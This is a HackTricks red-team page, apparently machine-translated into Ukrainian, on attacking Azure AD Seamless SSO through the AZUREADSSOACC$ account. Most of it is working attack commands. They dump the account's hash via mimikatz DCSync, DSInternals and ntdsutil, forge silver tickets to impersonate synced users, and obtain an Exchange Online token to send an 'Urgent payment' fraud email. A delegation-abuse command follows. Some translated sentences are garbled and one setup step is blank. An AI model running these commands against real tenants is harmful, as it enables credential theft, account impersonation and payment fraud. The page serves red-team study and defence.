Az - Seamless SSO

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

З документації: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) автоматично входить користувачів, коли вони знаходяться на своїх корпоративних пристроях, підключених до корпоративної мережі. При ввімкненні користувачам не потрібно вводити свої паролі для входу в Azure AD, і зазвичай навіть вводити свої імена користувачів. Ця функція надає вашим користувачам легкий доступ до ваших хмарних додатків без необхідності будь-яких додаткових компонентів на місці.

Фактично Azure AD Seamless SSO входить користувачів на пристрої, приєднані до домену на місці.

Це підтримується як PHS (Синхронізація хешів паролів), так і PTA (Прохідна аутентифікація).

Desktop SSO використовує Kerberos для аутентифікації. При налаштуванні Azure AD Connect створює обліковий запис комп'ютера з назвою AZUREADSSOACC$ в місцевому AD. Пароль облікового запису AZUREADSSOACC$ надсилається у відкритому вигляді в Azure AD під час налаштування.

Квитки Kerberos шифруються за допомогою NTHash (MD4) пароля, і Azure AD використовує надісланий пароль для розшифрування квитків.

Azure AD використовує точку доступу (https://autologon.microsoftazuread-sso.com), яка приймає квитки Kerberos. Браузер машини, приєднаної до домену, пересилає квитки на цю точку доступу для SSO.

З місця на хмару

Пароль користувача AZUREADSSOACC$ ніколи не змінюється. Тому адміністратор домену може скомпрометувати хеш цього облікового запису, а потім використовувати його для створення срібних квитків для підключення до Azure з будь-яким синхронізованим користувачем на місці:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

З отриманим хешем ви можете зараз генерувати срібні квитки:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Для використання срібного квитка слід виконати наступні кроки:

  1. Ініціювати браузер: Має бути запущений Mozilla Firefox.

  2. Налаштувати браузер:

  3. Отримати доступ до веб-застосунку:

    • Відвідайте веб-застосунок, який інтегрований з доменом AAD організації. Загальним прикладом є Office 365.

  4. Процес аутентифікації:

    • На екрані входу введіть ім'я користувача, залишивши поле пароля порожнім.

    • Для продовження натисніть або TAB, або ENTER.

Це не обхідно обхідати MFA, якщо ввімкнено

Створення квитків Kerberos для користувачів тільки в хмарі

Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть встановити SID для будь-якого користувача хмари. Таким чином, квитки Kerberos можуть бути створені також для користувачів тільки в хмарі. Єдиним вимоги є те, що SID є правильним SID.

Зміна SID користувачів адміністраторів тільки в хмарі зараз заблокована Microsoft. Для отримання інформації перевірте https://aadinternals.com/post/on-prem_admin/

З On-prem в хмару через делегування обмеження на основі ресурсів

Будь-хто, хто може керувати обліковими записами комп'ютерів (AZUREADSSOACC$) у контейнері або ОУ, в якому знаходиться цей обліковий запис, може налаштувати делегування обмеження на основі ресурсів на обліковий запис та отримати до нього доступ.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated